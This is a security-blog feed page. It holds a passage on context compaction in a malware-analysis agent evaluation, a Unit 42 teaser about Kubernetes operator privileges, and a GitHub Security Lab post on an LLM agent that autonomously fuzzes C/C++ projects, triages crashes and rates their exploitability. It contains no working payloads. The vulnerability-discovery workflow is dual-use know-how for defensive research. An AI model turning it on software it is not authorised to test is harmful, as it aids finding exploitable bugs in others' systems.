  • Interpret strings, APIs, call relationships, and data structures
  • Rename functions or variables based on observed behavior
  • Propose types or object models and explain what the malware is doing

We compare the model’s output against golden reference analysis and written reports across scoring metrics for correctness and completeness. To achieve a high score, the model needs to maintain a working theory for the slice of the binary it is analyzing, track evidence already collected, and hold open questions alongside provisional conclusions.

Malware analysis is an iterative process with a low-reward signal. A human analyst might inspect one function, learn something, pivot to another function, revise their theory, check a data structure, then return to update their original conclusion. Models do well in our evaluation where execution paths have straightforward continuity. They struggle when connections are unclear or require multiple rounds of investigation.

In observing model performance, we noticed that the agent tended to carry an increasing volume of tokens between tasks. The pattern is familiar to anyone who has run a ReAct-style agent on a non-trivial problem. Each turn adds more context until the model is dragging the full history of the run behind it, most of which stopped being useful several steps ago.

A human analyst working the same problem does not keep every raw observation equally active. They compress state between sessions. They remember that a function is probably the command dispatcher, that a particular object looks like transport state, that a given path was a dead end. They also write findings in a notebook, externalizing what they want to persist so they do not have to hold it all in working memory.

That distinction between working memory and durable memory is where compaction becomes architecturally useful.

How We Applied Compaction

Our system uses compaction to carry forward the working state: the current goal, what has already been tried, what was learned, which hypotheses remain active, what evidence changed the plan, and what questions are still open.

Specific findings and exact artifacts live outside the model context in durable storage. For malware analysis this includes logs and tool outputs, decompiled functions, intermediate artifacts, and ground-truth comparisons. When the agent needs exact evidence, it retrieves it from storage rather than relying on the compacted context to preserve it verbatim. In our use case tool use and response for binary exploration created increasingly large prompts. As the model used more tools to explore the space it added new findings – not all of them necessary. We leveraged compaction to summarize those tool calls and findings into more manageable chunks to maintain the working memory of the agent, but dramatically reduce the operational token overhead.

This split is what makes compaction measurable. A workflow that relies on compaction to preserve exact evidence will eventually produce incorrect answers when summarization or compression flattens crucial details. A workflow where compaction handles working memory and durable storage handles facts can be evaluated cleanly, because the boundary between the two is explicit.

Results

Across several long-running malware analysis agent evaluations we, compared runs with compaction enabled against runs without it.

Metric

Change

Input tokens

-86%

Output tokens

-31%

Reasoning tokens

-33%

Model calls

-1 (one fewer per run)

Aggregate evaluation score

Effectively unchanged

The token reductions were substantial. The aggregate evaluation score holding flat is what matters. We were able to carry forward enough state for the workflow to continue correctly while dramatically reducing the context processed per run.

One metric did decrease: domain object modeling, meaning the model’s ability to recover the higher-level objects and structures that explain the malware’s behavior. This is not a minor caveat. For malware analysis, object and type recovery is often where the most analytically valuable conclusions are drawn.

Our read is that compaction occasionally flattened structural reasoning that would have been useful later, and it reinforces why exact artifacts must live in durable storage rather than the compacted context.

Nevertheless, our research found that compaction made longer-running analysis practical and preserved the main evaluation outcome while doing it.

Implementation

Model providers expose compaction capabilities differently. For example, Anthropic and OpenAI both provide server-side compaction; however, OpenAI exposes an additional standalone compaction endpoint. This allows developers to solve the same problem at different points in their workflows as explained below.

Server-side Compaction

This is the simpler starting point. The Responses API call includes a compaction threshold in context_management. When context length crosses that threshold, the API compacts prior context automatically during the response, with no separate call required from the application.


response = client.responses.create(
model="gpt-5.5",
input=conversation,
store=False,
context_management=[
{"type": "compaction", "compact_threshold": 200000}
],
)

Standalone Compaction

This gives explicit control over when compaction happens. The application sends a context window to /responses/compact and receives a compacted context window back, which then becomes the input for the next response call.


compacted = client.responses.compact(
model="gpt-5.5",
input=long_input_items,
)
next_input = [
*compacted.output,
{
"type": "message",
"role": "user",
"content": next_user_message,
},
]
response = client.responses.create(
model="gpt-5.5",
input=next_input,
store=False,
)

For our malware analysis workflows, standalone compaction was useful at phase boundaries. For example, compacting after initial triage before entering deeper function analysis. This also lets you inspect metrics before and after compaction, which is useful for identifying where specific evidence is being compressed and whether that compression affects downstream scoring.

The important constraint with the standalone endpoint is to treat the returned compacted window as the next canonical context window. Do not prune it manually unless the workflow has a specific and well-understood reason to do so.

A practical decision rule for choosing between them:

Use case

Better fit

Reason

Long-running coding agent

Server-side

Automatic, minimal architecture change

Multi-stage investigation workflow (e.g., SOC triage)

Standalone

Natural phase boundaries make explicit compaction useful

Chat assistant with occasional long sessions

Server-side

Low overhead

Evaluation harness measuring memory quality

Standalone

Allows direct comparison of pre- and post-compaction behavior

Workflow requiring citations or exact evidence

Neither alone

Keep artifacts in durable storage and retrieve when needed

How to Use Compaction

The main takeaway for us was that compaction works best when it is part of a broader context-engineering strategy.

  1. Separate working memory from source-of-truth artifacts. Compaction is appropriate for the immediate state the model needs to continue working. Exact evidence belongs somewhere else. This boundary matters both for correctness and for being able to evaluate whether the compacted run behaved correctly.
  2. Compact long-running workflows. Compaction has the most impact when a task involves many steps and repeated tool use. Short interactions have little to compress.
  3. Start with server-side compaction. For most agent loops it is the fastest way to learn whether compaction helps. Move to standalone when compaction policy becomes part of the task or evaluation design.
  4. Do not evaluate on cost alone. A run can become significantly cheaper while losing task quality, depending on what was compacted. Resource and outcome metrics need to be tracked together.
  5. Preserve negative information. Long-running agents need to remember what failed, not just what worked. Failed paths carry state that informs subsequent decisions, and compaction can discard them if the workflow does not explicitly mark them as worth preserving.
  6. Treat compaction as lossy until proven otherwise. Use evaluations, traces, and artifact comparisons to verify that the compacted run still behaves correctly. Our domain object modeling result is a reminder that what looks like clean compression can still affect specific downstream capabilities.

Conclusion

Compaction is part of a broader shift from prompt engineering to context engineering. Prompt engineering concerns what we ask of the model in a single turn whereas context engineering concerns what the model gets to see across multiple turns: what gets compressed, what gets retrieved, what gets written to durable state, and what gets discarded.

For agents running long-horizon tasks, context engineering may be as important as model selection. A strong model with poor state management will lose the thread on a complex task. A model with better context discipline may make steadier progress and complete more tasks. That tradeoff compounds quickly across the kind of multi-step security workflows we are trying to evaluate.

Without compaction, realistic long-running security agent workflows become too large, noisy, and expensive to measure cleanly. With it, the scope of what is practical to evaluate expands. We view compaction not just as a tool for making agents cheaper, but as part of the infrastructure required to evaluate whether they actually work.

References

OperTraitors: How Kubernetes Operators Betray Your Security Posture

29 de Setembro de 2026, 07:00

We introduce OperTraitor, a tool to audit privileges of Kubernetes operators, identify excessive RBAC risks, and secure non-human identities.

The post OperTraitors: How Kubernetes Operators Betray Your Security Posture appeared first on Unit 42.

  • ✇GitHub Security Lab Archives - The GitHub Blog
  • AI-powered fuzzing with the GitHub Security Lab Taskflow Agent Antonio Morales
    If you’re new to fuzzing and want to learn the fundamentals first, check out our Fuzzing 101 course at gh.io/fuzzing101. Continuous fuzzing is not a magic solution that solves all your problems . Even projects that have been enrolled in OSS-Fuzz for years can still hide critical bugs, and the reason is almost always the same: someone needs to keep an eye on coverage, write new harnesses for the code that nobody is reaching, and triage the crashes that come out the other end. In other words,
     

AI-powered fuzzing with the GitHub Security Lab Taskflow Agent

If you’re new to fuzzing and want to learn the fundamentals first, check out our Fuzzing 101 course at gh.io/fuzzing101.

Continuous fuzzing is not a magic solution that solves all your problems . Even projects that have been enrolled in OSS-Fuzz for years can still hide critical bugs, and the reason is almost always the same: someone needs to keep an eye on coverage, write new harnesses for the code that nobody is reaching, and triage the crashes that come out the other end. In other words, fuzzing still needs a human in the loop.

So the natural question I kept asking myself was: how much of that human work can we actually hand over to an LLM agent?

That is what led me to build the Fuzzing Taskflow, an autonomous fuzzing pipeline for C/C++ projects. You only need to point it at a GitHub repository, and it does the rest: it identifies the suitable entrypoints, analyzes the build system, writes the harnesses, runs AFL++, reads the coverage reports, improves the harnesses, triages every crash, and writes a vulnerability report for each unique bug, all without a human babysitting it.

The Fuzzing Taskflow is built on top of the GitHub Security Lab Taskflow Agent, our framework for writing LLM-driven security automation, so the pipeline is expressed as a set of taskflows that an agent runs end to end.

In this post, I’ll walk you through how it works and the design decisions behind it. Let’s get going!

How to run it

The simplest way to run it’s just to go to https://github.com/GitHubSecurityLab/seclab-taskflows-fuzzing and start a codespace.

Then, run the script like this:

./scripts/fuzzing/run_fuzzing.sh PROJECT

So, for example:

./scripts/fuzzing/run_fuzzing.sh tukaani-project/xz

That’s it. The argument is just a GitHub owner/repo slug. Then, the agent, takes care of all the preliminary steps on its own:

  • Installing software such as AFL
  • Cloning the repository
  • Identifying the most relevant functions in the code
  • Creating fuzz targets for those functions

If you just want a quick smoke test before committing to a long campaign, point it at something small:

./scripts/fuzzing/run_fuzzing.sh DaveGamble/cJSON

A word of warning before you run it: this taskflow runs afl-fuzz, clang, and arbitrary build commands chosen by the LLM directly on the host, with no container in between. A prompt-injected agent could, in principle, do anything your user can. So please run it only inside a disposable environment (e.g., a Codespace or a throwaway VM), without elevated privileges.

Screenshot of Seclab Taskflows Fuzzing.

Model selection

Some frontier models impose security guardrails on their outputs. For the fuzzing task flow, we use Claude Sonnet 5 by default because it passed all of our internal tests without issues. You can choose a different model by modifying the following file: src/seclab_taskflows_fuzzing/configs/model_config.yaml.

The architecture in one minute

Before getting into the interesting parts, it helps to know how the pieces fit together. There are three layers:

  • A shell driver (run_fuzzing.sh) that chains the pipeline stages together.
  • A set of taskflow YAMLs, one per stage, which are essentially the prompts that tell the LLM agent what to do at each step.
  • A set of MCP tools that the agent calls to actually do the work: run AFL, compile a harness, store a crash, read a coverage report, and so on.

The design rule I cared about most is a clean separation of responsibility: the LLM agent owns the decisions, and the MCP tools own the execution. The agent decides what to fuzz, what harness to write, and what coverage gap to chase next. The tools just expose primitives like run_afl_for or compile_harness. The agent never calls AFL or clang directly; it composes the pipeline out of these building blocks. All the state lives in a SQLite database (fuzz_context.db), so the stages never hand data to each other in memory, only through the database.

One small but important detail: each harness is built twice. AFL’s edge instrumentation is great for guiding the fuzzer but useless for human-readable coverage reports. So every harness becomes both a .afl binary (built with afl-clang-lto -fsanitize=address,undefined) and a .cov binary (built with clang -fprofile-instr-generate -fcoverage-mapping). The .afl binary does the fuzzing; the .cov binary replays AFL’s queue afterwards to produce real source-line and branch coverage.

The coverage-feedback loop

This is the heart of the whole pipeline, and it’s the part that most directly automates the manual workflow I described at the start.

If you have ever tried to improve fuzzing coverage by hand, you’ll know that it’s an iterative process that looks like this:

Three bubbles that say: Run the fuzzers, Check the coverage, and Improve the fuzzers. They are connected by three arrows in a circular flow.

The “check the coverage” step used to be completed by me, manually reading an LCOV report looking for uncovered branches. The “improve the coverage” step was also completed by me, this time, writing a new harness or crafting a new input. The Fuzzing Taskflow hands both of those steps to the agent.

Each iteration, for each harness, the agent runs AFL for a time budget, replays the queue against the .cov binary to get a real coverage report, and then reads the list of uncovered branches. Based on what it finds, it picks one of a handful of actions:

  • Add a new seed crafted to reach an uncovered branch
  • Edit the harness source to call an additional API
  • Auto-enrich the AFL dictionary with the magic constants a guard is comparing against
  • Simply skip the gap if it’s a cold error path or vendor code that isn’t worth chasing

The time budgets double every iteration:

30s → 60s → 120s → 240s → 480s → 960s (≈ 32 min/target)

The idea is to spend cheap, short rounds early (when there’s lots of low-hanging coverage to grab) and longer rounds later (when the fuzzer needs more time to break through a hard guard).

And just like in my manual workflow, I need an answer to the question: when do we stop? Here, the loop uses plateau detection: once two consecutive iterations each gain less than a configurable threshold (1% absolute line coverage by default), the loop decides it has hit diminishing returns and moves on. This keeps the agent from burning hours of compute squeezing out the last fraction of a percent.

Structure-aware fuzzing

AFL’s default byte-level mutators (bit flips, arithmetic, block splicing) do a great job on binary formats but struggle with structured, text-based inputs. The classic solution is to hand-write custom mutators for each format, which is tedious work. This time I want the pipeline to do that work for me, so it ships four complementary mechanisms for producing structure-aware inputs.

1. Per-format dictionaries and custom mutators. For targets whose input format is recognized (JSON, XML, regex, PNG, length-prefixed binary TLV), the taskflow ships pre-built AFL dictionaries and LLVMFuzzerCustomMutator C files. The JSON mutator does token splicing and balanced-bracket duplication; the XML one knows about tags, entities, and billion-laughs tokens; the regex one carries real ReDoS patterns. Each mutator delegates half of its mutations back to AFL’s default byte mutator, so we keep the engine’s randomization instead of fighting it.

2. A source level dictionary. For formats the pipeline doesn’t recognize, it generates a custom mutator on the fly by scanning the target’s own .c/.h files. It extracts string literals and 32-bit numeric constants (from #define, case, and enum), filters out the noise, and uses them as splice tokens. The intuition is simple: the most interesting magic values that a parser checks for are usually written down somewhere in its own source.

3. A dynamically generated AFL dictionary with coverage-driven enrichment. The same source-token set is also emitted as an AFL classic dictionary before iteration 1 (numeric constants in both endiannesses, so the fuzzer can satisfy a memcmp against a 4-byte magic regardless of host byte order). Then, after every coverage step, the pipeline looks at the guards near the uncovered lines (strncmp, memcmp, case 0xN, == ‘X’) and appends any new tokens it finds. The dictionary literally grows toward the code the fuzzer can’t yet reach.

4. A corpus-splice operator. The smart mutator can also load files from a corpus directory and splice random sub-regions of them into the input, a recombination-style operator that AFL’s stock havoc doesn’t do well.

Evolving corpus

One of the things that quietly kills fuzzing efficiency is throwing away progress. If every run starts from the original seeds, you re-pay the cost of rediscovering the same paths over and over.

To avoid that, every harness gets a stable corpus directory that survives across iterations and across entire campaigns:

<workspace>/corpus/harness_<id>/

At the end of each iteration, AFL’s queue is merged into this directory and run through afl-cmin to keep its size bounded. The effect is that yesterday’s interesting inputs carry into today’s run, and the inputs you found in last week’s campaign carry into this one. If you stop and restart a campaign, you lose nothing.

Triage and vulnerability reports

Finding a crash is only half the job. As anyone who has done root-cause analysis knows, triaging is often the most tedious part of the whole process. This is the other place where the agent shines.

After the fuzzing loop finishes, three stages run automatically. First, every crash is minimized with afl-tmin, replayed under ASan to capture a stack trace, and deduplicated by a stack-top hash (the top normalized frames, with templates, inline namespaces, and LTO suffixes stripped so semantically identical crashes collapse together). Second, previously known crashes are replayed against the current binary to see whether an upstream fix has resolved them. Third, the agent reads the harness source and the crashing function, walks the call chain back from the public API, and writes a per-crash markdown report.

Each report assigns one of the following verdicts:

  • vulnerability
  • library_hardening
  • harness_bug
  • OOM
  • timeout
  • assertion_failure
  • duplicate

The distinction between a real vulnerability (reachable and exploitable through a public API) and a mere harness_bug (the bug is in our own harness, not the library) is exactly the kind of judgment call that used to require me to sit down and trace the code by hand. Every report includes a root-cause analysis with file:line references, a reachability argument, an exploitability assessment, a suggested fix as a unified diff and a regression-test sketch.

Just as clarification: the suggested patches are marked “review required” for a reason. The agent’s analysis is limited by the model’s understanding of the target code, and it does get things wrong. Treat the verdicts as a very well-prepared starting point for a human, not as final result.

Live dashboard

Running an autonomous campaign and not being able to see what it’s doing is uncomfortable, so the pipeline publishes everything to a live HTML dashboard. It auto-starts in the background as soon as you launch a campaign, on port 8765. In a Codespace that port is auto-forwarded, so you can open it in any browser and watch the campaign progress in real time on the dashboard.

Screenshot of the fuzzing dashboard.

The page shows amongst others:

  • a per-harness “running” pulse
  • a coverage-trend table with inline sparklines
  • a crash heatmap
  • an iteration timeline

Conclusion

I started this project motivated by the limitations that any security researcher knows well: fuzzing works, but it doesn’t scale without human attention, and that human attention is the bottleneck. The Fuzzing Taskflow is my attempt to push that bottleneck back by handing the repetitive parts (writing harnesses, reading coverage, chasing gaps, triaging crashes) to an LLM agent, while keeping a clean separation between the agent’s judgment and the tools that do the real work.

If you’re the maintainer of C/C++ project, then please give it a try. If your project has never been fuzzed before, then this tool will help you to get started quickly. Or if your project has been fuzzed before, then this tool might help to find new bugs by increasing your fuzzing coverage.

The source code is open source, so please create an issue if you encounter any bugs. Contributions are also welcome!

The post AI-powered fuzzing with the GitHub Security Lab Taskflow Agent appeared first on The GitHub Blog.

❌
❌